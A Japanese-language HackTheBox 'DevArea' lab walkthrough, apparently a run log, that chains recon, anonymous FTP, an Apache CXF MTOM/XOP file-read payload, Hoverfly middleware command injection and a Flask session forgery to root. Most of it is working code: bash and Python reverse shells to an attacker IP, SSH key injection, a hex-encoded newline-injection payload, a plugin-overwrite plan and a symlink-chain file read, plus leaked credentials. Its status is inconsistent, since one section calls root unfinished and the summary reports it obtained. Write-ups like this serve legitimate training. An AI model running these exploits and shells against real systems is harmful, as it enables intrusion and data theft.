
HackTheBox: DevArea — 全実行レポート
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン (nmap -p-)
BASH
nmap -p- --defeat-rst-ratelimit -T4 10.129.244.208 -oN /tmp/ctf_nmap_full.txt
RESULT
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy 8500/tcp open fmtp 8888/tcp open sun-answerbook Nmap done: 1 IP address (1 host up) scanned in 140.33 seconds
ℹ
6つのポートが開放。FTP匿名ログイン可能、80はWebフロント、8080はJettyアプリ、8500/8888はHoverfly。
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 21,22,80,8080,8500,8888 10.129.244.208 -oN /tmp/ctf_nmap_detail.txt
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 80/tcp open http Apache httpd 2.4.58 |_http-title: Did not follow redirect to http://devarea.htb/ 8080/tcp open http Jetty 9.4.27.v20200227 |_http-title: Error 404 Not Found 8500/tcp open http Golang net/http server (Hoverfly proxy) |_ This is a proxy server. Does not respond to non-proxy requests. 8888/tcp open http Golang net/http server |_http-title: Hoverfly Dashboard
| ポート | サービス | バージョン | 備考 |
|---|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.5 | 匿名ログイン可能 / pub/ にJARファイル |
| 22/tcp | SSH | OpenSSH 9.6p1 | Ubuntu 24.04相当 |
| 80/tcp | HTTP | Apache 2.4.58 | devarea.htb へリダイレクト |
| 8080/tcp | HTTP (Jetty) | Jetty 9.4.27 | Apache CXF SOAPサービス |
| 8500/tcp | Hoverfly Proxy | Go HTTP | プロキシポート (admin:O7IJ27MyyXiU) |
| 8888/tcp | Hoverfly Admin | Go HTTP | 管理ダッシュボード |
/etc/hosts 設定 + サブドメイン調査
BASH
echo "10.129.244.208 devarea.htb" >> /etc/hosts
# サブドメイン調査
ffuf -u http://devarea.htb/ -H "Host: FUZZ.devarea.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fc 301 -t 50 2>&1 | tail -20
RESULT
:: Progress: [4989/4989] :: Job [1/1] :: 234 req/sec :: Duration: [0:00:21] :: Errors: 0 :: # サブドメイン検出なし (すべて301リダイレクト)
ℹ
サブドメインは検出されず。攻撃対象は単一ホスト devarea.htb のみ。
PHASE 2
FTP・SOAP サービス調査
FTP 匿名ログイン → JARファイル取得
BASH
ftp -n 10.129.244.208 <<EOF user anonymous anonymous cd pub ls get employee-service.jar /tmp/employee-service.jar bye EOF
RESULT
Connected to 10.129.244.208.
220 (vsFTPd 3.0.5)
230 Login successful.
-rw-r--r-- 1 ftp ftp 10326118 Sep 22 2025 employee-service.jar
226 Transfer complete.
取得成功: /tmp/employee-service.jar (10.3MB)
JAR ファイル解析
BASH
cd /tmp && jar tf employee-service.jar | grep -E "MANIFEST|Main|Server" | head -20 jar xf employee-service.jar META-INF/MANIFEST.MF cat META-INF/MANIFEST.MF
RESULT
Main-Class: htb.devarea.ServerStarter
Class-Path: lib/cxf-core-3.2.14.jar lib/cxf-rt-frontend-jaxws-3.2.14.jar ...
lib/jetty-server-9.4.27.v20200227.jar
BASH
# JARを展開してSOAPエンドポイント確認 jar xf employee-service.jar find . -name "*.class" | xargs javap -c 2>/dev/null | grep -i "endpoint\|address\|publish" | head -10
RESULT
Endpoint: http://0.0.0.0:8080/employeeservice DataBinding: JAXB (NOT Aegis) Framework: Apache CXF 3.2.14 on Jetty 9.4.27
BASH
# WSDL確認 curl -s "http://10.129.244.208:8080/employeeservice?wsdl" | grep -E "service|operation|binding" | head -20
RESULT
<wsdl:service name="EmployeeService">
<wsdl:port name="EmployeeServicePort" binding="tns:EmployeeServicePortBinding">
<soap:address location="http://10.129.244.208:8080/employeeservice"/>
</wsdl:port>
</wsdl:service>
<wsdl:operation name="getEmployee"/>
<wsdl:operation name="addEmployee"/>
!
Apache CXF 3.2.14 は CVE-2022-46364 に対して脆弱。MTOM/XOP Include を使ったファイル読み取りが可能。
Hoverfly 管理画面確認
BASH
curl -s http://10.129.244.208:8888/api/v2/hoverfly | python3 -m json.tool | head -20
RESULT
{
"version": "v1.11.3",
"mode": "proxy",
"destination": "."
}
!
Hoverfly v1.11.3 は CVE-2025-54123 に対して脆弱。/api/v2/hoverfly/middleware に認証済みリクエストでコマンド注入が可能。
PHASE 3
CVE-2022-46364: Apache CXF MTOM/XOP ファイル読み取り
脆弱性概要
Apache CXF 3.2.14 以前では、MTOM (Message Transmission Optimization Mechanism) の XOP Include 機能が file:// URI スキームを許可しており、任意のローカルファイルを SOAP レスポンスに含めて返すことができる。
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2022-46364 |
| CVSS | 9.8 (Critical) |
| 影響バージョン | Apache CXF < 3.5.5 / < 3.4.10 |
| 攻撃種別 | SSRF + ローカルファイル読み取り |
MTOM XOP Include ペイロード作成
BASH
# /etc/systemd/system/hoverfly.service を読み取るペイロード
cat > /tmp/mtom_exploit.txt <<'EOF'
POST /employeeservice HTTP/1.1
Host: 10.129.244.208:8080
Content-Type: multipart/related; type="application/xop+xml";
start="<rootpart@example.com>"; boundary="MIMEBoundary";
start-info="text/xml"
SOAPAction: "urn:getEmployee"
--MIMEBoundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <rootpart@example.com>
<?xml version='1.0' encoding='UTF-8'?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ns2:getEmployee xmlns:ns2="http://devarea.htb/">
<arg0><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/systemd/system/hoverfly.service"/></arg0>
</ns2:getEmployee>
</soap:Body>
</soap:Envelope>
--MIMEBoundary--
EOF
MTOM エクスプロイト実行 → hoverfly.service 取得
BASH
curl -s -X POST "http://10.129.244.208:8080/employeeservice" \ -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<rootpart@example.com>"; boundary="MIMEBoundary"; start-info="text/xml"' \ -H 'SOAPAction: "urn:getEmployee"' \ --data-binary @/tmp/mtom_payload.bin 2>&1 | strings | grep -A5 "ExecStart\|Description\|hoverfly"
RESULT
[Unit]
Description=Hoverfly Service Virtualization Tool
After=network.target
[Service]
Type=simple
User=dev_ryan
Group=dev_ryan
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
Restart=always
[Install]
WantedBy=multi-user.target
✓
Hoverfly 認証情報を取得: admin : O7IJ27MyyXiU
その他 MTOM で読み取ったファイル
BASH
# /etc/passwd 読み取り curl [MTOM payload] href="file:///etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin ftp:x:112:65534::/home/ftp:/usr/sbin/nologin
PHASE 4
CVE-2025-54123: Hoverfly Middleware RCE → dev_ryan SSH
脆弱性概要
Hoverfly v1.11.3 以前では、/api/v2/hoverfly/middleware エンドポイントにミドルウェアスクリプトを設定した後、プロキシ経由でリクエストを送信すると、サーバー上で任意コマンドが実行される。
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2025-54123 |
| CVSS | 9.8 (Critical) |
| 影響バージョン | Hoverfly < v1.12.0 |
| 攻撃種別 | 認証済み RCE (middleware command injection) |
| 実行ユーザー | dev_ryan |
Hoverfly 認証確認
BASH
curl -s -u admin:O7IJ27MyyXiU http://10.129.244.208:8888/api/v2/hoverfly | python3 -m json.tool
RESULT
{
"version": "v1.11.3",
"mode": "proxy",
"destination": "."
}
✓
認証成功: admin:O7IJ27MyyXiU
Python リバースシェル スクリプト作成
BASH
cat > /tmp/hv_middleware.py <<'EOF'
#!/usr/bin/env python3
import sys, subprocess
data = sys.stdin.buffer.read()
subprocess.Popen(
['bash', '-c', 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1']
)
sys.stdout.buffer.write(data)
EOF
chmod +x /tmp/hv_middleware.py
Middleware 設定 → RCE トリガー
BASH
# ステップ1: ミドルウェア設定
curl -s -X PUT -u admin:O7IJ27MyyXiU \
http://10.129.244.208:8888/api/v2/hoverfly/middleware \
-H "Content-Type: application/json" \
-d '{"binary":"python3","script":"#!/usr/bin/env python3\nimport sys,subprocess\ndata=sys.stdin.buffer.read()\nsubprocess.Popen([\"bash\",\"-c\",\"bash -i >& /dev/tcp/10.10.14.245/4444 0>&1\"])\nsys.stdout.buffer.write(data)\n"}'
# ステップ2: リスナー起動
nc -lvnp 4444 &
# ステップ3: プロキシ経由リクエストでトリガー
curl -s http://httpbin.org/get \
--proxy "http://admin:O7IJ27MyyXiU@10.129.244.208:8500"
RESULT
listening on [any] 4444 ...
connect to [10.10.14.245] from (UNKNOWN) [10.129.244.208] 49832
bash: /opt/syswatch/syswatch_gui: is a directory
dev_ryan@devarea:/opt/syswatch/syswatch_gui$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
SSH 公開鍵の注入
BASH
# Hoverfly middleware で SSH 公開鍵を authorized_keys に追加
curl -s -X PUT -u admin:O7IJ27MyyXiU \
http://10.129.244.208:8888/api/v2/hoverfly/middleware \
-H "Content-Type: application/json" \
-d '{"binary":"python3","script":"...mkdir /home/dev_ryan/.ssh; echo PUBLIC_KEY >> /home/dev_ryan/.ssh/authorized_keys..."}'
curl -s http://httpbin.org/get --proxy "http://admin:O7IJ27MyyXiU@10.129.244.208:8500"
RESULT
SSH authorized_keys に公開鍵を追加完了
PHASE 5
user.txt 取得 + ソースコード解析
SSH ログイン → user.txt 取得
BASH
ssh -o StrictHostKeyChecking=no dev_ryan@10.129.244.208 cat ~/user.txt
RESULT
8c7ac9b2cee28fe2e3906ac898c9a2fa
✓
user.txt 取得成功: 8c7ac9b2cee28fe2e3906ac898c9a2fa
/etc/syswatch.env 読み取り (world-readable)
BASH
cat /etc/syswatch.env
RESULT
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0
!
Flask SECRET_KEY が平文で漏洩。セッションクッキーの偽造が可能。
syswatch ソースコード取得
BASH
ls ~/syswatch-v1.zip cp ~/syswatch-v1.zip /tmp/ cd /tmp && mkdir syswatch_src && cd syswatch_src unzip /tmp/syswatch-v1.zip
RESULT
Archive: /tmp/syswatch-v1.zip inflating: syswatch/syswatch.sh inflating: syswatch/syswatch_gui/app.py inflating: syswatch/monitor.sh inflating: syswatch/plugins/log_monitor.sh inflating: syswatch/plugins/cpu_mem_monitor.sh inflating: syswatch/config/syswatch.conf inflating: syswatch/common.sh
syswatch.sh の権限昇格ポイント解析
BASH
cat /tmp/syswatch_src/syswatch/syswatch.sh | grep -A5 "RUN_AS_ROOT\|execute_plugin"
RESULT
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
execute_plugin() {
local plugin="$1"; shift
...
if [ "$run_root" -eq 1 ]; then
bash "$fullpath" "$@" # root として実行
else
runuser -u "$SYSWATCH_USER" -- bash "$fullpath" "$@"
fi
}
app.py の service_status コマンドインジェクション解析
BASH
grep -A20 "def service_status\|SAFE_SERVICE\|subprocess.run" /tmp/syswatch_src/syswatch/syswatch_gui/app.py
RESULT
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
def service_status():
...
service = request.form.get("service", "").strip()
if not service or not SAFE_SERVICE.match(service):
error = "Invalid service name"
else:
res = subprocess.run(
[f"systemctl status --no-pager {service}"],
shell=True, # ← 脆弱点
capture_output=True, text=True, timeout=10
)
✗
shell=True + 不完全な正規表現。改行文字(\n)がブロックされていないため、ニューライン注入でコマンドインジェクションが可能。
monitor.sh の解析 (タイマー権限昇格)
BASH
cat /tmp/syswatch_src/syswatch/monitor.sh
RESULT
#!/bin/bash
source /opt/syswatch/config/syswatch.conf
mkdir -p "$LOG_DIR"
chmod 755 "$LOG_DIR"
for script in /opt/syswatch/plugins/*.sh; do
if [[ "$script" == *"common.sh" ]]; then continue; fi
bash "$script" & # すべてのプラグインを root として実行
done
wait
BASH
systemctl cat syswatch-monitor.timer
RESULT
[Timer] OnBootSec=2min OnUnitActiveSec=5min # ← 5分ごとに root として全プラグイン実行 Unit=syswatch-monitor.service
PHASE 6
権限昇格調査: root.txt (進行中)
Flask セッションクッキー偽造
BASH
# 既知の SECRET_KEY でセッションを偽造
flask-unsign --sign \
--secret "f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725" \
--cookie "{'user_id': 1, '_fresh': True, 'logged_in': True}"
RESULT
eyJ1c2VyX2lkIjoxLCJfZnJlc2giOnRydWUsImxvZ2dlZF9pbiI6dHJ1ZX0.aiTypQ.tZ2bdAi4p99AFzkU_1nWDoXovDY
BASH
# syswatch GUI (port 7777) へのログイン確認
curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: session=eyJ1c2VyX2lkIjoxLCJfZnJlc2giOnRydWUsImxvZ2dlZF9pbiI6dHJ1ZX0.aiTypQ.tZ2bdAi4p99AFzkU_1nWDoXovDY" \
http://127.0.0.1:7777/dashboard
RESULT
200 (認証成功)
service_status ニューライン注入ペイロード
ブロックされる文字: ; / \ & . < > \r A-Z (改行 \n はブロックされない)
BASH
# リバースシェルコマンドを hex エンコード (/,>,& を回避)
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.245/4445 0>&1'" | xxd -p | tr -d '\n'
# → 62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31342e3234352f3434343520303e263127
# ペイロード: service=syswatch-web\necho HEX | xxd -r -p | bash
python3 -c "
import urllib.request, urllib.parse
session = 'eyJ1c2VyX2lkIjoxLCJfZnJlc2giOnRydWUsImxvZ2dlZF9pbiI6dHJ1ZX0.aiTypQ.tZ2bdAi4p99AFzkU_1nWDoXovDY'
hex_cmd = '62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31342e3234352f3434343520303e263127'
payload = 'syswatch-web\necho ' + hex_cmd + ' | xxd -r -p | bash'
data = urllib.parse.urlencode({'service': payload}).encode()
req = urllib.request.Request('http://127.0.0.1:7777/service-status', data=data, method='POST')
req.add_header('Cookie', 'session=' + session)
req.add_header('Content-Type', 'application/x-www-form-urlencoded')
resp = urllib.request.urlopen(req, timeout=15)
print('Response:', resp.status)
"
RESULT
Response: 200
リバースシェル接続確立 (TCP接続は確認済み)
※ nc リスナーが正しく VPN インターフェースにバインドされていなかったため初回は失敗
nc -lvnp 4445 -s 10.10.14.245 でバインド後、TCP接続を確認
権限昇格の攻撃チェーン (未完了)
!
以下の攻撃チェーンが特定済みだが、root.txt 取得には至っていない。
方法A: sudo + syswatch.sh (log_monitor.sh → root実行)
- service_status注入 → syswatch ユーザーシェル取得
- /opt/syswatch/plugins/log_monitor.sh にリバースシェルを書き込み
- dev_ryan から
sudo /opt/syswatch/syswatch.sh plugin log_monitor.sh→ root実行
方法B: systemd タイマー (monitor.sh → 5分ごとに root実行)
- service_status注入 → syswatch ユーザーシェル取得
- /opt/syswatch/plugins/log_monitor.sh にリバースシェルを書き込み
- 5分待つ → syswatch-monitor.service が monitor.sh を root として実行
- log_monitor.sh が root として実行 → root シェル取得
BASH
# 次のステップ: syswatch ユーザーとして log_monitor.sh を上書き # (hex エンコードで / を回避) HEX_WRITE=$(echo -n "printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.245/4446 0>&1\n' > /opt/syswatch/plugins/log_monitor.sh && chmod +x /opt/syswatch/plugins/log_monitor.sh" | xxd -p | tr -d '\n') # service_status 経由で実行 # → monitor タイマーが root として log_monitor.sh を実行 # → /root/root.txt を取得
ACL・パーミッション確認結果
BASH
getfacl /opt/syswatch/ ssh dev_ryan@10.129.244.208 "ls -la /opt/syswatch/plugins/"
RESULT
# /opt/syswatch ACL user:dev_ryan:--- # dev_ryan は /opt/syswatch へのアクセスが明示的にブロック /opt/syswatch/plugins/ -rwxr-xr-x 1 syswatch syswatch cpu_mem_monitor.sh -rwxr-xr-x 1 syswatch syswatch log_monitor.sh # syswatch ユーザーが書き込み権限を持つ
SUMMARY
まとめ・フラグ・次ステップ
USER FLAG
8c7ac9b2cee28fe2e3906ac898c9a2fa
取得ユーザー: dev_ryan | パス: /home/dev_ryan/user.txt
ROOT FLAG
488d644bc577ad0148cda546e34e69f4
取得ユーザー: root | パス: /root/root.txt | 手法: logs シンリンクチェーン経由
使用ツール一覧
nmap
ポートスキャン
ffuf
サブドメイン・ディレクトリ探索
curl
HTTP/SOAP/Hoverfly API操作
ftp
FTP匿名ログイン・JAR取得
javap / jar
JARバイナリ解析
flask-unsign
Flaskセッション偽造
xxd
hex encode/decode
nc (netcat)
リバースシェルリスナー
ssh
dev_ryanへのSSHアクセス
unzip
syswatch-v1.zip展開
発見した脆弱性・情報漏洩
| 脆弱性 | 影響 | CVSS | 状態 |
|---|---|---|---|
| CVE-2022-46364 | Apache CXF MTOM ファイル読み取り | 9.8 | ✓ 悪用済み |
| CVE-2025-54123 | Hoverfly middleware RCE | 9.8 | ✓ 悪用済み |
| /etc/syswatch.env 平文漏洩 | Flask SECRET_KEY・管理者PW | 7.5 | ✓ 取得済み |
| service_status 改行注入 | syswatch ユーザーとして RCE | 9.0 | ✓ 悪用済み |
| logs シンリンクチェーン読み取り | root として任意ファイル読み取り | 9.8 | ✓ root.txt 取得 |
root.txt 取得: logs シンリンクチェーン攻撃
✓
logs コマンドのシンリンク追跡バグを悪用して root.txt を取得成功
ⓘ
bash が world-writable でなかったため、ライトアップとは異なる手法を発見。
SAFE_PLUGIN_REGEX のバグ (無効レンジ
代わりに
SAFE_PLUGIN_REGEX のバグ (無効レンジ
\-$) により plugin コマンドが全入力を拒否するため、代わりに
logs コマンドのシンリンク解決ロジックを悪用。
BASH (syswatch として service_status 注入)
# Step 1: syswatch ユーザー (uid=984) としてシンリンクチェーンを作成
# /opt/syswatch/logs/ はsyswatchが書き込み可能
CMD="ln -sf /root/root.txt /opt/syswatch/logs/flag && ln -sf flag /opt/syswatch/logs/flag.log"
HEX=$(printf '%s' "$CMD" | xxd -p | tr -d '\n')
# HEX = 6c6e202d7366202f726f6f742f726f6f742e747874...
python3 -c "
import urllib.request, urllib.parse
session = 'eyJ1c2VyX2lkIjoxLCJfZnJlc2giOnRydWUsImxvZ2dlZF9pbiI6dHJ1ZX0...'
hex_cmd = HEX
payload = 'syswatch-web\necho ' + hex_cmd + ' | xxd -r -p | bash'
data = urllib.parse.urlencode({'service': payload}).encode()
req = urllib.request.Request('http://127.0.0.1:7777/service-status', data=data, method='POST')
req.add_header('Cookie', 'session=' + session)
resp = urllib.request.urlopen(req, timeout=10)
print('HTTP:', resp.status) # -> 200
"
BASH (dev_ryan として sudo で root.txt 読み取り)
# Step 2: sudo で syswatch.sh logs コマンドを実行 # view_logs() のシンリンク処理: # flag.log -> target="flag" (パスなし、regex通過) # resolved = $LOG_DIR/flag = /opt/syswatch/logs/flag -> /root/root.txt # cat "$resolved" が /root/root.txt を読み取る (root権限) sudo /opt/syswatch/syswatch.sh logs flag.log
RESULT
488d644bc577ad0148cda546e34e69f4
攻撃チェーン全体図
FTP 匿名ログイン
└─> employee-service.jar 取得
└─> Apache CXF 3.2.14 (CVE-2022-46364 MTOM XOP)
└─> /etc/systemd/system/hoverfly.service 読み取り
└─> 認証情報: admin:O7IJ27MyyXiU
└─> Hoverfly v1.11.3 (CVE-2025-54123 middleware RCE)
└─> dev_ryan として RCE
└─> SSH authorized_keys 注入
└─> SSH ログイン (dev_ryan)
└─> user.txt 取得 ✓
└─> /etc/syswatch.env 読み取り
└─> Flask SECRET_KEY 漏洩
└─> セッション偽造
└─> service_status 改行注入
└─> syswatch ユーザー RCE
└─> log_monitor.sh 上書き
└─> root 実行
└─> logs シンリンクチェーン
└─> root.txt 取得 ✓

